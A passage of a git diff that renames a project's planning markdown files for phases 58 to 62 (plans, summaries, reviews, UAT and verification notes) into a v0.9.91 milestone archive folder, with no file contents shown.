.planning/phases/58-providers-panel/58-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-02-SUMMARY.md diff --git a/.planning/phases/58-providers-panel/58-03-PLAN.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-03-PLAN.md similarity index 100% rename from .planning/phases/58-providers-panel/58-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-03-PLAN.md diff --git a/.planning/phases/58-providers-panel/58-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-03-SUMMARY.md similarity index 100% rename from .planning/phases/58-providers-panel/58-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-03-SUMMARY.md diff --git a/.planning/phases/58-providers-panel/58-CONTEXT.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-CONTEXT.md similarity index 100% rename from .planning/phases/58-providers-panel/58-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-CONTEXT.md diff --git a/.planning/phases/58-providers-panel/58-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-HUMAN-UAT.md similarity index 100% rename from .planning/phases/58-providers-panel/58-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-HUMAN-UAT.md diff --git a/.planning/phases/58-providers-panel/58-RESEARCH.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-RESEARCH.md similarity index 100% rename from .planning/phases/58-providers-panel/58-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-RESEARCH.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter2.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter3.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter3.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter2.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter2.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW.iter3.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter3.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW.iter3.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter3.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.md diff --git a/.planning/phases/58-providers-panel/58-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-UI-SPEC.md similarity index 100% rename from .planning/phases/58-providers-panel/58-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-UI-SPEC.md diff --git a/.planning/phases/58-providers-panel/58-VALIDATION.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-VALIDATION.md similarity index 100% rename from .planning/phases/58-providers-panel/58-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-VALIDATION.md diff --git a/.planning/phases/58-providers-panel/58-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-VERIFICATION.md similarity index 100% rename from .planning/phases/58-providers-panel/58-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-VERIFICATION.md diff --git a/.planning/phases/58-providers-panel/58-VISUAL-QA.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-VISUAL-QA.md similarity index 100% rename from .planning/phases/58-providers-panel/58-VISUAL-QA.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-VISUAL-QA.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md 